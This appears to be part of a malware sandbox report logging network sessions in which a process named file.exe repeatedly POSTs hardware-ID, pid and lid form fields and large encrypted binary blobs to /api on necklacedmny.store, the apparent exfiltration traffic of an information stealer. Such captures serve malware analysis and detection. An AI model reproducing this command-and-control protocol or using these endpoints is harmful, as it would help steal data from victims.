2024-10-30 10:45:16 UTC	1016	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=slap4k13bqrbj7e5jhlil8rqb6; expires=Sun, 23 Feb 2025 04:31:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ysFBbG2IyKXRO2V2FX4KMOcBnA%2BJWkfgKgy6kV7vVn5DnHdjiXph6eSc8ooDEfUwh2kBTuQCmO9%2B9yf5qOS4mkB0ooLHGanf57vpYuVR%2BCu5CsaClNd2Vyt8ILNkK2290iRpU9s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad09408174763-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1131&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13791&delivery_rate=2527050&cwnd=240&unsent_bytes=0&cid=1c51a18d0000568a&ts=572&x=0"
2024-10-30 10:45:16 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 10:45:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49705	188.114.96.3	443	6604	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:16 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: necklacedmny.store
2024-10-30 10:45:16 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8C141C2517812F5C794FEDDF40D44F2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 10:45:17 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a52s79s0bg2ubu9dpvab1neo5f; expires=Sun, 23 Feb 2025 04:31:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zQfJx6S94eTHJwUpQIChWaB%2FEWNLhWciePMaMpgReSiG3EFqO1Ap07GC4RfYvpdIgWD2PnLIcp5%2BuYaes%2BA1Dooim0P5oAo5SnMY%2F5XYxJBcYiNRexoK8jA2uVVQ4lpUfR4LS9Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad09d1e696b2d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1002&sent=16&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16023&delivery_rate=2763358&cwnd=251&unsent_bytes=0&cid=3ae03a24584f346d&ts=482&x=0"
2024-10-30 10:45:17 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 10:45:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49711	188.114.96.3	443	6604	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:18 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: necklacedmny.store
2024-10-30 10:45:18 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8C141C2517812F5C794FEDDF40D44F2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 10:45:18 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-10-30 10:45:18 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hbq884k46kokiceavkp0md54sh; expires=Sun, 23 Feb 2025 04:31:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=veCyGBqS1hBPHl9xb1rLuV2CE%2Bx6E7qsDTXgcPOJpkCvXNXoyvg4EOhANe1LvZ2cn4CfFnMMdFUDIRxff1GVCfW2jHtN%2BHJbSW7jkmPyidVnKcU1UoNnYyWNqTkmu2pMSCEmQWo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad0a48ac1eab0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1263&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21370&delivery_rate=2250194&cwnd=243&unsent_bytes=0&cid=d96ddd50fd31bd2b&ts=688&x=0"
2024-10-30 10:45:18 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 10:45:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49721	188.114.96.3	443	6604	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:19 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1217 Host: necklacedmny.store
2024-10-30 10:45:19 UTC	1217	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8C141C2517812F5C794FEDDF40D44F2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 10:45:20 UTC	1023	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c8k04kmv5c6efca6oqof8can2l; expires=Sun, 23 Feb 2025 04:31:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sObGNA71Z1QpwJ5g%2FkQkdBD3%2BT%2FsatO%2BAnN2mup9zFYZSzpSD%2B6anHsGDji4CEFlhfUoIKWdkNKQ4OcKZVBJMPlmqARnYVkBqgu0zR7s96ZLr%2F85UOSvn%2Bsl8m6o0Zgy6nIiI14%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad0b098366b4c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1133&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2136&delivery_rate=2518260&cwnd=233&unsent_bytes=0&cid=513e10daa20c25e4&ts=1027&x=0"
2024-10-30 10:45:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 10:45:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49732	188.114.96.3	443	6604	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:21 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 586437 Host: necklacedmny.store
2024-10-30 10:45:21 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8C141C2517812F5C794FEDDF40D44F2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 10:45:21 UTC	15331	OUT	Data Raw: 1e 98 ee 08 3c 88 c4 53 d0 8d 46 09 e6 c1 c4 39 b3 d4 68 8d 1e c5 8c dd 36 8d 53 d3 c1 de 09 1f 3a c4 53 eb f4 18 3a 3a d0 28 47 a9 23 52 f2 e7 79 8b 4f 8f e9 b7 ce 05 28 18 3f af 3f ea b7 43 3c 15 46 ad 6d be 7b 0c 3b 8c 97 37 c1 5a 28 fe 00 aa 35 32 59 06 54 77 89 21 4e 4f 7d 1b 1b f0 d9 e3 f8 c0 ed b0 2e f9 1e 35 79 53 a0 3e c6 b5 f7 7e 2c 31 09 b8 c3 d5 a1 23 f2 0b 43 7f 28 43 ca a3 f0 79 89 cf 94 33 a0 ac 16 0f 8b a0 c3 f4 e2 21 16 60 be e1 03 d9 c9 28 0a 1a d1 91 5c a8 d6 92 c0 16 e5 7e e0 01 96 86 1e df 01 ac b0 58 71 72 16 35 9f 89 79 f1 e7 f6 06 da 79 1c 9c 15 8a a3 1e 01 54 7e d4 cd 6a 3c b0 f6 04 29 60 52 78 4d 4a 39 36 18 43 df 7a fc 94 c8 54 db f8 a5 a4 8b 99 df fe cf 05 fb 87 66 45 86 7f 01 99 7e 1b 48 14 06 68 83 c3 89 a2 87 61 1d 8d fe 68 Data Ascii: <SF9h6S:S::(G#RyO(??C<Fm{;7Z(52YTw!NO}.5yS>~,1#C(Cy3!`(\~Xqr5yyT~j<)`RxMJ96CzTfE~Hhah
2024-10-30 10:45:21 UTC	15331	OUT	Data Raw: ab 76 d1 50 a2 fc 21 a7 13 92 39 c8 19 ae 8b 41 c8 84 ce 40 6b 2e eb 33 e2 23 d3 86 4b 77 2b 68 5c bb c6 77 ec 92 c6 28 80 e8 4b 31 83 f1 d9 49 6d 4d fe 62 82 fd 8f 86 df 95 15 1c 58 29 2c b4 1a b9 c2 77 94 97 a1 ae 02 9e 1d c6 c9 e6 6f 19 99 c1 3c db a8 de 96 c6 20 58 15 ab 28 da 2a 17 61 db 17 13 61 94 8a 5e 30 ee 5e 75 75 0c 3f 00 31 fe be bc 87 ca bf 69 bb d5 e3 e6 e4 a3 ef 50 d9 bb f5 fb f6 48 b9 8c 67 59 9d 23 7d 6b 75 e1 48 ed 56 5a a5 5b 93 a1 3c ee e0 82 24 40 6d a6 d1 7f ed 5e 78 df d9 4e 33 97 f3 7b 70 bc 2d f4 ab 69 b4 98 fc 89 ea 34 54 45 8b 26 08 ec 63 ff 1a 57 06 70 af cf 66 6a 65 e3 56 72 1d 22 43 3c 3d ff 6b 39 08 32 70 4d e5 01 eb b6 d0 8a 9f cc da 43 88 a1 64 6d 02 74 1e 48 5f 07 16 ff b7 7f da c8 be 02 c4 e9 10 51 8c ab c7 48 ff ef 53 Data Ascii: vP!9A@k.3#Kw+h\w(K1ImMbX),wo< X(*aa^0^uu?1iPHgY#}kuHVZ[<$@m^xN3{p-i4TE&cWpfjeVr"C<=k92pMCdmtH_QHS
2024-10-30 10:45:21 UTC	15331	OUT	Data Raw: fe 26 07 30 a1 6c fb bb 84 48 99 03 32 f7 02 bd b3 c9 54 13 78 b6 ee 46 1f 00 bd 87 58 03 ff fe 7d 0e a2 71 bc 32 fa 75 8d 28 e3 f7 06 c9 fa 62 38 82 1a 14 20 fb 03 4a 47 07 fc 00 c4 97 f4 3c 12 1e 19 70 8d 1b ad 24 de e5 d8 ef 05 2e 81 60 33 de dd af 94 74 2d 14 cf 25 a7 83 aa a8 f9 7f f5 f7 9e 95 47 51 2e 5a 24 ea eb b5 f2 b8 a0 c1 c7 96 58 60 a6 2f 17 33 27 f4 16 4e 22 ac 3b fb c8 a2 a0 ff 90 8a 24 39 63 90 2f f1 6c e0 55 40 41 05 56 e6 6a a2 c4 a6 54 62 e3 94 af 71 d4 ed 50 fa 65 cf af 18 1e ea c5 80 8f 96 ed 08 ad 73 fe f6 c0 ac 16 97 91 f1 02 fd c4 3f 66 75 7c 75 40 31 a7 f6 9c a0 23 12 be 00 a3 e9 ad 0b 97 b1 bd 39 0d a7 2d c9 c7 91 f9 81 4b 23 83 56 a1 e4 08 30 81 39 3e ec 2c 43 51 5c ef 10 cf af ca 0b c3 1d c7 26 2e 25 59 4f b3 de 90 2e 64 ca 05 Data Ascii: &0lH2TxFX}q2u(b8 JG<p$.`3t-%GQ.Z$X`/3'N";$9c/lU@AVjTbqPes?fu\|u@1#9-K#V09>,CQ\&.%YO.d
2024-10-30 10:45:21 UTC	15331	OUT	Data Raw: 54 18 9c 40 18 02 0b cb b2 2a b3 4e 39 20 4a ae f9 08 0a 2c e3 9a 9f c5 e9 14 84 86 16 22 8f ab 63 25 cb fd 6a f6 48 3d 82 dd 6d 52 d8 c0 6d 54 9b b1 f1 99 a9 77 27 16 6b 4a d0 16 43 41 73 bc c9 47 40 3e ef e8 05 2f e0 64 4c f8 78 f7 b3 70 28 2f 34 fa bf 85 df f1 d5 21 35 b0 3a 92 fd eb 27 5c 5b d5 05 58 7c 10 91 0c 70 ed f2 cb 2b da ec eb 99 47 a2 6b 86 10 84 ac 07 dd f6 7a 1c 0b 43 e4 e9 db 0a d5 0e 20 7f 25 10 0d cf 95 16 02 e9 16 57 84 88 74 f0 7f e8 f0 ee b3 46 62 72 f2 e9 8d 01 d7 51 42 f7 59 ee d1 c4 bc 2c e1 06 84 c1 50 bb 9f 0b 74 60 a5 13 a3 22 7c 64 39 7d 3e b6 07 90 af c9 93 8c 4a e5 6e 23 ef f2 6a 08 f3 70 74 fc 8d 0e 83 f1 25 88 81 4d 6c a5 02 78 9b dd 6e 9d 14 6f cb ed 7c 88 73 2c 20 3e d8 c9 92 34 91 28 22 41 cb bc d4 9c f9 83 ba a5 67 5f Data Ascii: T@*N9 J,"c%jH=mRmTw'kJCAsG@>/dLxp(/4!5:'\[X\|p+GkzC %WtFbrQBY,Pt`"\|d9}>Jn#jpt%Mlxno\|s, >4("Ag_
2024-10-30 10:45:21 UTC	15331	OUT	Data Raw: 7f 31 b7 8b 92 fa eb 4e 9b e0 59 ca 0f 50 14 4f 76 3c b0 7b 65 ce f0 2e ba cd a0 61 83 1a 6e 96 fe 63 a2 ed 33 15 13 e8 bb 2d c4 80 d6 8d ca ae 0d 84 fb 2e f4 a0 fe 29 97 a2 ad 55 96 11 8a 17 22 cf 52 f0 cb 1c cb b5 0c 75 f5 f3 c4 cb b4 0c 2d ee be 06 2f af 8b 14 30 f3 f6 be c5 7c 74 72 a0 87 c8 45 7c 7d 50 d8 a1 a9 ad 0f 4e 25 3f 59 2e 1f f0 f6 f0 3a 1f 16 0e cc f2 c1 d7 f1 3c be 3f 51 2c 7e cf cd 3b 36 49 73 fd bf 2d fd 95 51 3e b2 19 cd db 00 cd 24 f9 71 7e a3 e1 d2 31 27 1c 06 84 6a 62 40 c6 eb 3c 49 0c 21 f1 10 7d 37 57 72 29 08 30 7c 88 bc 90 1e c7 41 fb 80 fa 7e b4 37 58 f8 a3 08 54 45 20 27 b1 d3 72 a0 54 99 66 9b 02 de ff f3 dc 7f 4e b7 f3 c9 b1 a1 07 83 dd e5 c7 8b 74 82 47 e3 90 de fb 61 30 78 7a 76 c2 fc d8 e0 b3 da d0 b7 ed dc dc f5 69 d1 34 Data Ascii: 1NYPOv<{e.anc3-.)U"Ru-/0\|trE\|}PN%?Y.:<?Q,~;6Is-Q>$q~1'jb@<I!}7Wr)0\|A~7XTE 'rTfNtGa0xzvi4
2024-10-30 10:45:21 UTC	15331	OUT	Data Raw: 2d 5e fe ac 70 3a e2 49 da b7 cd 95 b3 bb 44 e5 60 d8 0b 03 4b 73 a2 0b ce b4 64 cd 56 fa 02 61 3e f1 bf e4 e0 4d 59 39 38 83 8b 32 bd 54 08 2c 69 ce 6e 95 0a 72 61 51 61 53 84 f3 0d 59 5b 45 90 0d 16 e0 0b 70 eb e6 20 f6 a8 2e 70 d7 e0 33 bd 84 8f 3f b3 68 20 4e 23 e0 3f 1e a9 fd 8c 69 2b 55 43 3e 23 7d 9c 22 ff 32 37 e6 bd 57 62 42 7a 73 0d 89 6e 1c cb 94 1a ee b8 e6 24 03 bd 49 b2 50 4c 6f 5a 2d 3c eb 6c 6c 1a 1d d6 9f e5 59 3d 27 ff 5d fd 17 e2 22 2a 77 f7 6e 15 e0 6e 62 e0 0c 3c a2 fa e1 10 1e f0 a1 73 7d 05 7d a6 13 1b 7b 14 d6 97 f8 7a da 21 26 70 df 35 08 c5 d3 79 19 2f 71 4f fe 00 28 6a b1 90 89 3a 2a cf 67 9d 3e f8 e9 74 8d 80 78 f8 88 b5 94 4d ec 36 1c 06 3c 95 bb 19 0f 48 75 a1 52 03 1d 9f a9 e2 c0 f6 58 5a 09 58 36 50 99 fb 1a 46 ff da b2 6d Data Ascii: -^p:ID`KsdVa>MY982T,inraQaSY[Ep .p3?h N#?i+UC>#}"27WbBzsn$IPLoZ-<llY=']"wnnb<s}}{z!&p5y/qO(j:g>txM6<HuRXZX6PFm
2024-10-30 10:45:21 UTC	15331	OUT	Data Raw: 9e 3c e0 71 d7 38 f8 d5 f9 ec 1b 23 c7 9d 57 d7 bc 87 bb 9f d4 8c b7 1f e4 dd f8 3b bd f1 83 b9 ac fc b5 6a 7c 82 99 f1 b5 1d aa 31 a1 96 58 e7 db a6 5d 8c 7c 39 37 e8 2e 7e 0d 90 f4 d0 c4 3d 54 31 e6 3e f0 69 80 ed 19 72 94 6b 12 ae 04 77 b3 ab 3e 7b 56 e2 b5 4e b8 12 06 7b c5 40 e4 42 a5 d7 da a2 66 29 4f 1b f6 e7 2d 26 cf b3 6c 89 29 d6 35 2e e1 5f 3f a6 df 9b b6 b5 e6 7a 31 58 92 f0 ab 38 2a 2a 7e c5 5d b9 5a 60 a6 9e 55 fc 2b 81 39 11 ae b7 d1 46 5c d5 2c 67 4e 2f 8a 50 6b 8e fb 0f d9 72 c3 5a 91 ad c5 29 57 7a d3 53 56 17 a7 f2 73 6c b1 60 46 11 95 bf 55 5b ba c5 4c 4e b0 f4 da 35 39 9f 51 91 b4 6e 75 05 15 11 7b ac de ef 8a 0b 1b dd 91 93 ae 84 3b 87 2f 1e 0c 4d 3c 28 98 7d 78 ec b5 9d f2 f5 9f 8f 2b 4f f4 44 d5 14 f9 40 73 00 97 28 f0 c5 34 1e e7 Data Ascii: <q8#W;j\|1X]\|97.~=T1>irkw>{VN{@Bf)O-&l)5._?z1X8**~]Z`U+9F\,gN/PkrZ)WzSVsl`FU[LN59Qnu{;/M<(}x+OD@s(4
2024-10-30 10:45:21 UTC	15331	OUT	Data Raw: cd 59 19 19 b3 71 9e 8a 7e 77 1f 51 63 c2 0c 95 dc 8f 92 da be cc 7f 8c f8 59 d5 96 f0 b7 1d bd 3a dd de 6a 18 7e ce 0a b7 42 51 8a 5a 4c fe 1e 58 89 39 a2 e2 ce bb de aa 07 3e 68 31 36 11 f2 ca a8 a8 86 ce 1f 15 97 02 f4 ff b8 f7 13 34 fc 62 fe 29 01 f4 08 b2 b7 0a f2 29 f1 03 7d 9b e2 81 be b4 cc f2 69 23 91 bc 7d 3d a9 3f 65 bd fe ce 91 0c 50 82 c8 9c 7d ab 7a 19 4a 65 4c a4 38 ca 3f 98 71 5e 1c 61 8c 4a 28 46 0c b5 04 1e 29 5a fe 20 88 5d f9 df b5 f8 9b 97 55 a9 f1 19 87 a2 30 26 33 36 6a 56 95 4e 59 2d 89 da 6c 60 7b 80 11 f7 5d 1c 1b 8b bf ac 0d 22 f6 5b 01 38 7e ed 80 40 9e 2a 40 8d f1 53 a9 d8 08 05 a8 cb 4a ab 95 94 87 c4 49 30 76 35 19 f5 1e 5c 2f 60 60 ef f7 52 85 78 fc c7 5c a7 5c ea ff 20 02 1e ea 83 08 c1 f8 0b 96 b9 3b f7 bb 54 70 f7 82 31 Data Ascii: Yq~wQcY:j~BQZLX9>h164b))}i#}=?eP}zJeL8?q^aJ(F)Z ]U0&36jVNY-l`{]"[8~@*@SJI0v5\/``Rx\\ ;Tp1
2024-10-30 10:45:21 UTC	15331	OUT	Data Raw: bb 11 09 f2 b4 b2 ae 55 38 40 f0 a2 52 a1 cd 40 64 c2 e2 01 c4 31 ad f8 08 69 a0 47 aa aa 33 3e 4c c3 af 34 d1 90 03 61 2c 97 b9 61 65 12 be 3d 6b cd 44 0c 9e fb cd f8 e9 2c f6 b7 7c 9a 56 a0 c1 6a 6a 51 b6 de 18 ac 45 2a 2f 58 9a 18 5e ae b9 bc 80 0d 71 e8 d5 8e 8b bf cb 32 9e 8c 0d 16 a9 30 d6 eb 2a 74 6f 5f 1f e9 03 83 18 e6 64 5b 5c 7f f7 f7 24 f7 95 8a 21 7c 68 3e 45 53 7a a8 44 94 3e f5 b7 15 22 5c 88 09 c1 b4 98 3d 0c 1d 7e ec a9 d7 c5 0a a1 cf bf 99 8d ac 91 6d 7b f3 71 60 22 d6 b3 bf c9 64 30 6e b7 58 fc 69 45 f6 48 71 88 6c 62 59 97 fb 5a 70 70 d3 40 ff 72 3e 2b 74 f8 46 8b b2 ba 74 68 f3 9b 9b ea 79 79 a3 56 c3 0a 99 12 b7 b5 d1 db 6f e7 f9 1c e9 6f aa 9e 3a 3b 9f d8 6e 1f 14 04 5a 6b 8d ef df a5 ff d3 2c 70 f1 02 72 ef 19 3e 2c df bb f5 db cd Data Ascii: U8@R@d1iG3>L4a,ae=kD,\|VjjQE/X^q20to_d[\$!\|h>ESzD>"\=~m{q`"d0nXiEHqlbYZpp@r>+tFthyyVoo:;nZk,pr>,
